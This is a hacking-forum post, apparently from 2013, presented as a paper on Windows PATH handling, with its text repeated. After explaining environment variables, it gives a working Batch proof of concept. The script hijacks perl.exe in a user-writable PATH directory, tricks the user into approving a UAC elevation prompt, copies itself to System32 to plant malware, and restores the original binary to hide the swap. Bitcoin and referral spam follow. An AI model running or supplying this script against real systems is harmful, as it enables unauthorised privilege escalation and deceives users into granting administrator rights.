[Paper] Understanding Windows PATH and privilege escalation 07-26-2013, 11:38 PM
#1
Understanding Windows PATH and privilege escalation
Windows's default scripting language is Batch, as the default shell is cmd.exe.
This paper is not about Batch scripting, but a brief introduction to its variables is needed to understand the argument. Batch variables are divided in environmental and non-environmental variables. Any program instance can call environmental variables at any time, while non-environmental variables are local to shell instances and are not directly accessable to any other program. We could directly assign custom values to environment variables with the set command, but their values wouldn't change for any other instance. We in fact wouldn't change the environmental variable's value but just set/change the value of a variable which has the same name of that environmental variable. We'll see an example later. Environmental variables are divided in static and dynamic. Enter the following command in the console:
Reach the end of the help message and you'll find a list of all the dynamic environmental variables.
To see all the static environmental variables defined on your computer just enter:
Some environment variables can be changed. Browse to the HKLM\System\CurrentControlSet\Control\Session Manager\Environment registry key and you will find some environmental variables that can be edited (you can as well enter your own). If you look through the values under the Environment registry key, you will find the Path value (which holds the value of the PATH variable). Some ways to edit the PATH variable's value are:
from GUI:
- editing the registry value with regedit.exe;
- explorer.exe -> Computer -> System properties -> Advanced system settings -> Advanced -> Environment variables (best and faster (talking about time before the effects appear) method - you can as well edit/add any other re-definable environmental variable from here);
from CLI:
we still haven't seen how to re-define environmental variables for the current shell instance.
The above code would temporary append to the %PATH% variable ";C:\MyNewPath" (indeed, as we already said, we are not temporary changing the PATH environmental variable, we're just defining/changing the non-environmental PATH variable).
We could as well use the PATH command.
To make changes permanent, just use the following command after having set the PATH variable to what you want:
When is the PATH variable used?
When a program is invokated from command line, Windows looks for the file in the following directories in this order:
1. the directory from where the file was called;
2. the directories listed in the PATH variable.
Before trying in another directory path it adds all of the file extensions defined in the PATHEXT variable (find it in the Environment reg key as well) to the filename. If it still can't find the file, it goes on the next directory path.
Privilege escalation
Some programs, on installation, add to the PATH variable the installation directories that allow, by default, write access to unprivileged users. Some of these programs are:
ActivePerl 5.16.1.1601
ActiveTcl 8.5.12
ActivePython 3.2.2.3 (user has to manually check the option to add the directory path to the PATH variable on installation)
Ruby 29.3-p194 (user has to manually check the option to add the directory path to the PATH variable on installation)
PHP 5.3.17 (user has to manually check the option to add the directory path to the PATH variable on installation)
We could replace the main executable file in the directory with an executable that, when run, will write our malware or whatever to the System32 directory, from whence it will be able to run with admin privileges. Then we get the original file back in its place and we run it, so that the user won't see any failed execution. To fit the size of the original files would be better when crafting an executable file to do this (in the case the user went to view the file properties, it would look more similar to the original file).
The following Batch script, when run, would replace the perl.exe file in the C:\Perl\bin directory. Before replacing the executable, it would copy it to the Temp directory, to later put it back in its place. When the user will invoke the program from CLI, our file will be called instead. The program first tries to copy itself to the System32 directory, and if it fails, a UAC message will appear. The user might let the program run with administrator privileges in the belief that it is the legit file requesting them, then our file will copy itself to the System32 directory, put the original file back in its place and run it.
The output in my prompt (no UAC message popped up as I allowed write access to any directory by default - double slashes ("//") define comments, they weren't really included in the console):
If a UAC message popped up, the user would have seen:
No sign (but the UAC prompt) that the program called was perl.bat instead of perl.exe would show up.
Windows's default scripting language is Batch, as the default shell is cmd.exe.
This paper is not about Batch scripting, but a brief introduction to its variables is needed to understand the argument. Batch variables are divided in environmental and non-environmental variables. Any program instance can call environmental variables at any time, while non-environmental variables are local to shell instances and are not directly accessable to any other program. We could directly assign custom values to environment variables with the set command, but their values wouldn't change for any other instance. We in fact wouldn't change the environmental variable's value but just set/change the value of a variable which has the same name of that environmental variable. We'll see an example later. Environmental variables are divided in static and dynamic. Enter the following command in the console:
Code:
set /?Reach the end of the help message and you'll find a list of all the dynamic environmental variables.
To see all the static environmental variables defined on your computer just enter:
Code:
setSome environment variables can be changed. Browse to the HKLM\System\CurrentControlSet\Control\Session Manager\Environment registry key and you will find some environmental variables that can be edited (you can as well enter your own). If you look through the values under the Environment registry key, you will find the Path value (which holds the value of the PATH variable). Some ways to edit the PATH variable's value are:
from GUI:
- editing the registry value with regedit.exe;
- explorer.exe -> Computer -> System properties -> Advanced system settings -> Advanced -> Environment variables (best and faster (talking about time before the effects appear) method - you can as well edit/add any other re-definable environmental variable from here);
from CLI:
we still haven't seen how to re-define environmental variables for the current shell instance.
Code:
set path=%path%;C:\MyNewPathThe above code would temporary append to the %PATH% variable ";C:\MyNewPath" (indeed, as we already said, we are not temporary changing the PATH environmental variable, we're just defining/changing the non-environmental PATH variable).
We could as well use the PATH command.
Code:
path %path%;C:\MyNewPathTo make changes permanent, just use the following command after having set the PATH variable to what you want:
Code:
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" /v Path /t REG_EXPAND_SZ /d "%PATH%" /fWhen is the PATH variable used?
When a program is invokated from command line, Windows looks for the file in the following directories in this order:
1. the directory from where the file was called;
2. the directories listed in the PATH variable.
Before trying in another directory path it adds all of the file extensions defined in the PATHEXT variable (find it in the Environment reg key as well) to the filename. If it still can't find the file, it goes on the next directory path.
Privilege escalation
Some programs, on installation, add to the PATH variable the installation directories that allow, by default, write access to unprivileged users. Some of these programs are:
ActivePerl 5.16.1.1601
ActiveTcl 8.5.12
ActivePython 3.2.2.3 (user has to manually check the option to add the directory path to the PATH variable on installation)
Ruby 29.3-p194 (user has to manually check the option to add the directory path to the PATH variable on installation)
PHP 5.3.17 (user has to manually check the option to add the directory path to the PATH variable on installation)
We could replace the main executable file in the directory with an executable that, when run, will write our malware or whatever to the System32 directory, from whence it will be able to run with admin privileges. Then we get the original file back in its place and we run it, so that the user won't see any failed execution. To fit the size of the original files would be better when crafting an executable file to do this (in the case the user went to view the file properties, it would look more similar to the original file).
The following Batch script, when run, would replace the perl.exe file in the C:\Perl\bin directory. Before replacing the executable, it would copy it to the Temp directory, to later put it back in its place. When the user will invoke the program from CLI, our file will be called instead. The program first tries to copy itself to the System32 directory, and if it fails, a UAC message will appear. The user might let the program run with administrator privileges in the belief that it is the legit file requesting them, then our file will copy itself to the System32 directory, put the original file back in its place and run it.
Code:
@echo off
set p=C:\Perl\bin\perl
if /i "%~f0"=="%p%.bat" goto skip
move "%p%.exe" "%tmp%\perl.tmp" 2>nul > nul
copy "%~f0" "%p%.bat" 2>nul > nul
cmd /c /d /q del "%~f0" /f /q 2>nul > nul
exit /b
:skip
copy "%~f0" "%systemroot%\System32\winaccess.cmd" 2>nul > nul
if exist %systemroot%\System32\winaccess.cmd goto jmp
echo Set UAC = CreateObject("Shell.Application") > %tmp%\tmp.vbs
echo UAC.ShellExecute "%~f0", "%*:=", "", "runas", 1 >> %tmp%\tmp.vbs
cscript %tmp%\tmp.vbs
del %tmp%\tmp.vbs /f /q 2>nul > nul
exit /b
:jmp
echo @echo off > %tmp%\tmp.cmd
echo move "%tmp%\perl.tmp" "%p%.exe" 2^>n^ul ^> n^ul >> %tmp%\tmp.cmd
echo del "%~f0" /f /q 2^n^ul ^> n^ul >> %tmp%\tmp.cmd
echo "%p%.exe" >> %tmp%\tmp.cmd
echo cmd /c /d /q del %%~f0 /f /q 2^>n^ul ^> n^ul >> %tmp%\tmp.cmd
%tmp%\tmp.cmd
cmd /c /d /q del %~f0 /f /q 2>nul > nulThe output in my prompt (no UAC message popped up as I allowed write access to any directory by default - double slashes ("//") define comments, they weren't really included in the console):
Code:
$noize@noize-pc:~ poc // poc.bat
// now the file replaced perl.exe
$noize@noize-pc:~ perl
// now the file got in the System32 directory, put perl.exe back and called it
// no output as usual when calling perl.exe with no additional argumentsIf a UAC message popped up, the user would have seen:
Code:
> perl
// UAC prompt
// user allows execution, program executes normallyNo sign (but the UAC prompt) that the program called was perl.bat instead of perl.exe would show up.
My Bitcoin address: 1AtxVsSSG2Z8JfjNy9KNFDUN6haeKr7LiP
Give me money by visiting www.google.com here: http://coin-ads.com/6Ol83U
If you want a Bitcoin URL shortener/advertiser, please, use this referral: http://coin-ads.com/register.php?refid=noize
Give me money by visiting www.google.com here: http://coin-ads.com/6Ol83U
If you want a Bitcoin URL shortener/advertiser, please, use this referral: http://coin-ads.com/register.php?refid=noize
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)
![[Image: 2YpkRjy.png]](http://i.imgur.com/2YpkRjy.png)